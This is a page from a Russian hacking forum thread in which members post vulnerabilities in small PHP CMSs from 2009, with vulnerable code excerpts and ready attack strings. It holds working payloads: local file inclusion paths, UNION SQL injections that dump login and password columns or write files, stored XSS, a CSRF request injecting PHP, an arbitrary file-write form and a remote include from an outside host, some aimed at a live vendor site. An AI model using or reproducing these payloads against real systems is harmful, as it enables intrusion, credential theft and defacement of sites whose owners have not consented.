ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #141  
Старый 06.07.2009, 17:03
Аватар для eLWAux
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

GenCMS
Код:
GenCMS
http://gencms.berlios.de/

eLwaux(c)2009

LFI
/show.php
----------------------------------------------------------------------------------------------------
18:   $param = $_GET['p'];
19:   if(empty($param)) $param = 'news';
20:          //get right page 
21:       //$page = $param.'.php';
22:	
23:    //static or dynamic
24:    if(GC_FULLSTATIC)
25:    {
26:        $page = $param.'.htm';
27:        staticpage($page);
28:    }
29:    else
30:    {
31:        $page = GC_IPATH.'_base/sites/'.$param.'.php';
32:        dynamicpage($page); 
33:    }
----------------------------------------------------------------------------------------------------
PoC: /show.php?p=../../{FILE.PHP}%00


LFI
/admin/pages/SiteNew.php
----------------------------------------------------------------------------------------------------
14:   if(!empty($_GET['step'])) $Step = $_GET['step'];
23:   if ($Step == "2")
24:   {
25:        // allgemeine settings
26:        //include blocks from template config
27:        include_once(GC_IPATH.'templates/'.$_POST['Template'].'/config.php');
28:        $TPLBlocks = explode(';',$TemplateSettings);
29:   }
----------------------------------------------------------------------------------------------------
PoC: /admin/pages/SiteNew.php?step=2& ( POST: Template=../{FILE.PHP}%00 )
 
Ответить с цитированием

  #142  
Старый 13.07.2009, 00:06
Аватар для [underwater]
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
Провел на форуме:
2185909

Репутация: 308
По умолчанию

SqliteAdmin



CSRF

Код:
http://site/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: 190.161.4.211
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://site/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
 
Ответить с цитированием

  #143  
Старый 27.07.2009, 18:38
Аватар для eLWAux
eLWAux
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568

Репутация: 2399


Отправить сообщение для eLWAux с помощью ICQ
По умолчанию

elgg <= 1.5 vuln LFI

POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD

необходимо, чтоб в табл datalists
simplecache_enabled=0
(по дефолту =1 xD)


Код:
/_css/js.php:
     33:     $viewinput['view'] = 'js/' . $_GET['js'];
     42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
     26:     $view = $viewinput['view'];
     30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
     48:         if ($simplecache_enabled || $override) {
     49:             $filename = $dataroot . 'views_simplecache/' . md5($viewtype . $view);
     51:             $contents = file_get_contents($filename);
     56:         } else {
     59:             $contents = elgg_view($view);
/lib/elgglib.php:
     237:    function elgg_view($view, ..
     317:        foreach($viewlist as $priority => $view) {
     321:                if (file_exists($view_location . "{$viewtype}/{$view}.php") &&
                             !include($view_location . "{$viewtype}/{$view}.php")) {
 
Ответить с цитированием

Irokez CMS 0.7.1 SQL inlection
  #144  
Старый 05.08.2009, 10:19
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию Irokez CMS 0.7.1 SQL inlection

Irokez CMS 0.7.1 SQL inlection

Уязвимость хранится в функции select() класса table.class.php. Дело в том, что передаваемые функцией параметры ничем не фильтруются.

Copeц бажной функции:

PHP код:
    function select($id)
    {
        if (isset(
$this->_cache[$id])) {
            
$data $this->_cache[$id];
        } else {
            
$data = array();
            
/*
                get data
            */
            
$is_trans in_array($this->_name.$this->_trans$this->db->getTables());
            if (
$is_trans) {
                
$query "select t.*, m.* from {$this->_name} m"
                       
" left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                       
" where m.id = '$id' group by {$this->_lang}";
            } else {
                
$query "select * from {$this->_name} where id = '$id'";
            }
            
$result $this->db->exeQuery($query);

            
$main_fields $this->db->getFields($this->_name);
            if (
$is_trans) {
                
$trans_fields $this->db->getFields($this->_name $this->_trans);
                
$trans_fields array_flip($trans_fields);
            } else {
                
$trans_fields = array();
            }
            unset(
$trans_fields[$this->_item], $trans_fields[$this->_lang]);
            
$trans_fields array_flip($trans_fields);
    
            
$data = array();
            while (
$row mysql_fetch_assoc($result)) {
                foreach (
$row as $field => $value) {
                    if (
in_array($field$main_fields)) {
                        
$data[$field] = $value;
                    } elseif (
in_array($field$trans_fields)) {
                        
$data[$field][$row[$this->_lang]] = $value;
                    }
                }
            }
            if (isset(
$data['id'])) {
                
$this->_cache[$data['id']] = $data;
            }
        }
        return 
$data;
    } 
Условия:magic_quotes_gpc = Off

Эксплатация:

PHP код:
http://localhost/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1 
PHP код:
http://localhost/ru/polls/4'+AND+ascii(lower(substring(version(),1,1)))>5--+/ 
Для защиты данной функции можно использовать функцию mysql_escape_string()

Пример защиты:

PHP код:
function select($id)
    {
        if (isset(
$this->_cache[$id])) {
            
$data $this->_cache[$id];
        } else {
            
$data = array();
            
/*
                get data
            */
            
$is_trans in_array($this->_name.$this->_trans$this->db->getTables());
            if (
$is_trans) {
            
$id mysql_escape_string($id);
                
$query "select t.*, m.* from {$this->_name} m"
                       
" left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                       
" where m.id = '$id' group by {$this->_lang}";
            } else {
                
$query "select * from {$this->_name} where id = '$id'";
            }
            
$result $this->db->exeQuery($query);

            
$main_fields $this->db->getFields($this->_name);
            if (
$is_trans) {
                
$trans_fields $this->db->getFields($this->_name $this->_trans);
                
$trans_fields array_flip($trans_fields);
            } else {
                
$trans_fields = array();
            }
            unset(
$trans_fields[$this->_item], $trans_fields[$this->_lang]);
            
$trans_fields array_flip($trans_fields);
    
            
$data = array();
            while (
$row mysql_fetch_assoc($result)) {
                foreach (
$row as $field => $value) {
                    if (
in_array($field$main_fields)) {
                        
$data[$field] = $value;
                    } elseif (
in_array($field$trans_fields)) {
                        
$data[$field][$row[$this->_lang]] = $value;
                    }
                }
            }
            if (isset(
$data['id'])) {
                
$this->_cache[$data['id']] = $data;
            }
        }
        return 
$data;
    } 
=========================================

Оформленый эксплойт:
Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]                                                                                                                                                                                        
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
    function select($id)
    {
        if (isset($this->_cache[$id])) {
            $data = $this->_cache[$id];
        } else {
            $data = array();
            /*
                get data
            */
        	$is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
        	if ($is_trans) {
                $query = "select t.*, m.* from {$this->_name} m"
                       . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                       . " where m.id = '$id' group by {$this->_lang}";
        	} else {
                $query = "select * from {$this->_name} where id = '$id'";
        	}
            $result = $this->db->exeQuery($query);

            $main_fields = $this->db->getFields($this->_name);
            if ($is_trans) {
                $trans_fields = $this->db->getFields($this->_name . $this->_trans);
                $trans_fields = array_flip($trans_fields);
            } else {
                $trans_fields = array();
            }
            unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
            $trans_fields = array_flip($trans_fields);
    
            $data = array();
            while ($row = mysql_fetch_assoc($result)) {
                foreach ($row as $field => $value) {
                    if (in_array($field, $main_fields)) {
                        $data[$field] = $value;
                    } elseif (in_array($field, $trans_fields)) {
                        $data[$field][$row[$this->_lang]] = $value;
                    }
                }
            }
            if (isset($data['id'])) {
                $this->_cache[$data['id']] = $data;
            }
        }
        return $data;
    }
[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]

[+] Exploit:	

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1

[+]------------------------------------------------[/COD]--------------------------------------------------------------[+]

Последний раз редактировалось Ins3t; 05.08.2009 в 17:11..
 
Ответить с цитированием

  #145  
Старый 09.08.2009, 01:09
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

Mini-CMS 1.0.1 SQL inlection

Вот наткнулся на Mini-CMS 1.0.1, скачал, открыл первый попавшийся сорец, сразу понял, что CMS бажная..

Уязвимый файл: page.php

Фрагмент уязвимого кода:

PHP код:
<?php
$id 
$_GET['id'];
database_connect();
$query "SELECT * from content
          WHERE id = 
$id";
$error mysql_error();
if (!
$result mysql_query($query)) {
    print 
"$error";
    exit;
    }

while(
$row mysql_fetch_object($result)){
  
$content $row->text;
  print(
"$content");
    }
?>
Требования: magic_quotes_gpc = Off и полный путь к config.php

Эксплатация уязвимости:
PHP код:
http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]/config.txt'--+ 
Пароли от админки не хранятся в базе данных, а хранятся в файле config.php, из за этого нам приходится записывать конфиг в текстовый файл ( хотя лутше уже шелл лить ).

Оформленый эксплойт:

Код:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Mini-CMS 1.0.1 SQL inlection]------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Mini-CMS 1.0.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:08.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability occurs due to insufficient filtering transferred database parameters. Password is not in the 
database, and in the config.php file.
[+] Conditions: magic_quotes_gpc = Off | full patch of file config.php
[+] Code vulnerable functions:

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]
<?php
$id = $_GET['id'];
database_connect();
$query = "SELECT * from content
          WHERE id = $id";                      <------(BUG)
$error = mysql_error();
if (!$result = mysql_query($query)) {
    print "$error";
	exit;
	}

while($row = mysql_fetch_object($result)){
  $content = $row->text;
  print("$content");
	}
?>
[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[COD]---------------------------------------------------------------[+]

http://localhost/page.php?id=-1+union+select+1,2,3,4,load_file('[FULL_PATCH_OF_FILE_CONFIG.PHP]'),6,7,8,9+into+outfile+'[FULL_PATCH]'--+

[+]------------------------------------------------[/COD]---------------------------------------------------------------[+]

Последний раз редактировалось Ins3t; 09.08.2009 в 01:13..
 
Ответить с цитированием

  #146  
Старый 16.08.2009, 23:55
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Ngcms

XSS Активная (!)

Регестрируемся
В поле "Сайт" и "Откуда"
Код:
"><script>alert();</script>
При просмотре админом через админ панель ваш профайл, выполняется XSS.

PHP код:
    $tvars['vars'] = array(
        
'php_self'        =>    $PHP_SELF,
        
'sort_options'    =>    $sort_options,
        
'how_options'    => $how_options,
        
'npp_nav'        =>    $npp_nav,
        
'entries'        =>    $entries,
        
'per_page'        => $per_page,
        
'name'            => htmlspecialchars($_REQUEST['name']),
    );

    
$tpl -> template('table'tpl_actions.$mod);
    
$tpl -> vars('table'$tvars);
    echo 
$tpl -> show('table'); 

Ещё есть.

При добавление новости.
В краткое содержание или полное без разницы.
Код:
[img]javascript:alert('XSS')[/img]
PHP код:
    $tvars['vars'] = array(
        
'php_self'            =>    $PHP_SELF,
        
'changedate'        =>    ChangeDate($row['postdate']),
        
'catlist'            =>    makeCategoryList(array('skip' => $cats'nameval' => 1)),
        
'allcats'            =>    @GetAllCategories($cats),
        
'comments'            =>    $parse->smilies($comments),
        
'id'                =>    $row['id'],
        
'title'                =>    secure_html($row['title']),
        
'short'                =>    secure_html($story[0]),
        
'full'                =>    secure_html($story[1]),
        
'alt_name'            =>    $row['alt_name'],
        
'avatar'            =>    $row['avatar'],
        
'description'        =>    secure_html($row['description']),
        
'keywords'            =>    secure_html($row['keywords']),
        
'views'                =>    $row['views']
    ); 

PS
Уязвим везде параметр [IMG][/IMG]

(c) Ctacok. Специально для Античат.

Последний раз редактировалось Ctacok; 17.08.2009 в 00:22..
 
Ответить с цитированием

  #147  
Старый 21.08.2009, 22:59
Аватар для HAXTA4OK
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

KESoft: CMS Кеша

1.SQL - inj

PHP код:
#получаем список блоков
        
$z="select blocks.def_ps, blocks.fname, bpp.psev from blocks, bpp where (bpp.page_id=$pg)and(bpp.block_id=blocks.id)";
        
$result=mysql_query($z,$connect); 
2. Доступ в админку


PHP код:

$z
="select id,status from users where (login='".$_POST["u_login"]."')and(pass=PASSWORD('".$_POST["u_pass"]."'))";
                
$result=mysql_query($z,$connect); 
при MQ=off
их офф сайт _http://www.kesoft.ru/index.php?pg=20'

Ну я как бы просто показал
Result:
http://www.kesoft.ru./index.php?pg=20+and+substring(version(),1,1)=5#

Чтение файлов

http://site.ru/RU(или ru)/blocks/Templ_lst.php?l=../../db.php%00

файл:UserPar.php
pg_param.php

http://www.сайт.ru/ru/blocks/UserPar.php?l=../
http://www.kesoft.ru/ru/blocks/UserPar.php?l=Http://mail.ru/%00 (читаем mail.ru )

Инклуд удаленный Даже файл админа в инклуде
http://www.kesoft.ru/admin.php?l='%00

условия в посте Grey'a
P.S. Там что не файл, то уязвимость) PSS угу

Последний раз редактировалось HAXTA4OK; 22.08.2009 в 10:43..
 
Ответить с цитированием

  #148  
Старый 21.08.2009, 23:23
Аватар для Grey
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию

Цитата:
Сообщение от HAXTA4OK  
KESoft: CMS Кеша
Зачетная cms:

Чтение файлов:
Файл: blocks/auth.php
PHP код:
<?php
  $bdata
=file($l."blocks/Auth.dat");
  
$bdata=str_replace("@u_login@",$u,$bdata);
  
$bdata=str_replace("@u_pass@","",$bdata);
  for (
$ii=0$ii<count($bdata); $ii++) {
    echo 
$bdata[$ii];
Юзаем так: http://site.ru/RU(или ru)/blocks/auth.php?l=../../db.php%00

Создание произвольного файла:
Файл: RU(или ru)/blocks/BlockPar.php
PHP код:
if (count($_POST)>0) {
.....................
            if (
$_POST["Submit"]=="Сохранить изменения текста") {
            
$z="select fname from blocks where id=$par";
            
$tmpr=mysql_query($z,$connect);
            
$fp fopen ($l.mysql_result($tmpr,0,"fname"),"w");
            
fputs($fp,$_POST["BlockData"]);
            
fclose($fp);
            
$m="Содержимое файла блока <font color=green>заменено</font>";
            }; 
Юзаем так:

Код:
<html>
<head><title>pLoEnT na HTML!!!</title></head>
<body>
<form action="http://site.ru/RU(или ru)/blocks/BlockPar.php?l=../../file.php%00" method="post">
<textarea name="BlockData" cols="80" rows="10"></textarea>
<input type="submit" name="Submit" value="Сохранить изменения текста">
</form>
</body>
</html>
Ой, а там файлов больше чем я думал, продолжим:

Удалённый инклуд:
Файл: RU(или ru)/blocks/reg.php
PHP код:
<?php
  
include $l."blocks\\UserPar.php";
?>
Юзаем так: http://site.ru/RU(или ru)/blocks/reg.php?l=http://heck.ru/file.php?

Даже листинг дир в комплект входит:
Юзаем так: http://site.ru/RU(или ru)/blocks/moduls.php?l=../../%00 (правда вывод кривой, но это мелочи)

Нужно: mq=off, rg=on, ну а для удалённого инклуда ещё и allow_url_include=он

P.S. Там что не файл, то уязвимость)

Последний раз редактировалось Grey; 21.08.2009 в 23:40..
 
Ответить с цитированием

  #149  
Старый 23.08.2009, 00:16
Аватар для mailbrush
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/


Уязвимость №1:
Проникновение в админ-панель.

Уязвимость существует из-за недостаточной фильтрации данных.

Уязвимый код:
Код:
/admin/check.php
PHP код:
if ($_SESSION['cmsmini_login'] != 1header('location: login.php'); 
Если параметр cmsmini_login отличен от еденици, сервер отправляет заголовок Location: login.php. Но выполнения скрипта не останавливается. Это всего лишь браузер воспринимает заголовк как редирект.

Эксплуатация:
Для эксплуатации уязвимости необходимо использовать сниффер отправленых пакетов. После открытия страницы /admin/index.php, сниффер получит заголовки вида:
Код:
HTTP/1.1 302 Found
Date: Sat, 22 Aug 2009 19:16:45 GMT
Server: Apache/2.2.11 (Win32) PHP/5.2.9-2
X-Powered-By: PHP/5.2.9-2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Transfer-Encoding: chunked
Content-Type: text/html
Кроме них в сниффере можно увидеть тело админки. Неудобная, но все же уязвимость.

Уязвимость №2:
Заливка файла произвольного расширения.

Уязвимость существует из-за отсутствия фильтрации/проверки расширения файла.

Уязвимый код:
Код:
/admin/index.php
PHP код:
    case 'newimage':
      
$imagefile $_FILES['imagefile'];
      if( 
is_uploaded_file($imagefile['tmp_name']) ) new_image($imagefile$dirpath);
      else die(
'image upload failed...');
      break; 
Код:
/admin/functions.php
PHP код:
function new_image($imagefile$dirpath){
  
$name $imagefile['name'];
  
$filename $dirpath.'/'.$name;
  
$dirlist $dirpath.'/dir.list';
  
$new_row $name.'|'.$name.'|0|';
  
move_uploaded_file($imagefile['tmp_name'], $filename);
  
in_dirlist($dirlist$new_row);
  } 
Эксплуатация:
Залить любой файл в поле Image.


Уязвимость №3:
Читалка файлов.

Уязвимость существует из-за отсутствия фильтрации входящих данных в параметре path.

Уязвимый код:
Код:
/admin/index.php
PHP код:
$subpath $_GET['path'];
if( 
$subpath )
  
$dirpath '../pages/'.$subpath;
...
$dirlist $dirpath.'/dir.list';
...
$rows file($dirlist);
...
$n count($rows);
...
for( 
$i=0$i<$n$i++ ){
//тут много echo с выводом файла 
Эксплуатация:
Код:
/admin/index.php?path=../admin/config.php%00
Уязвимость №4:
Активная XSS.

Уязвимость существует из-за отсутствия фильтрации входящих данных.

Уязвимый код:
Код:
/admin/index.php
PHP код:
echo $title.'</span>'
Эксплуатация:
HTML-код в поле Page/Folder -> create new page / create new folder.

Уязвимость №5:
"Листинг" директорий.

Уязвимость существует из-за отсутствия запрета на чтение файла со списком файлов/директрий.

Код:
/folder/dir.list
© mailbrush

Это не все дырки этой CMS...
 
Ответить с цитированием

  #150  
Старый 24.08.2009, 11:15
Аватар для HAXTA4OK
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

Цитата:
Сообщение от mailbrush  
Продукт: CMS Mini
Версия: <= 0.2.2
Оффсайт: cmsmini.it
Скачать: http://sourceforge.net/projects/cmsmini/
1. Читалка файлов

admin/edit.php

PHP код:
$filename $dirpath.'/'.$name;
$fh fopen($filename'r'); 
Эксплуатация
cmsmini-0.2.2./admin/edit.php?path=&name=../COPYING

При register_globals On

2. Пассивная XSS

cmsmini-0.2.2./admin/index.php?path=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E

3. Создание произвольного файла

cmsmini-0.2.2./admin/reorder.php?path=../reorder1.php%00

Последний раз редактировалось HAXTA4OK; 24.08.2009 в 11:39..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ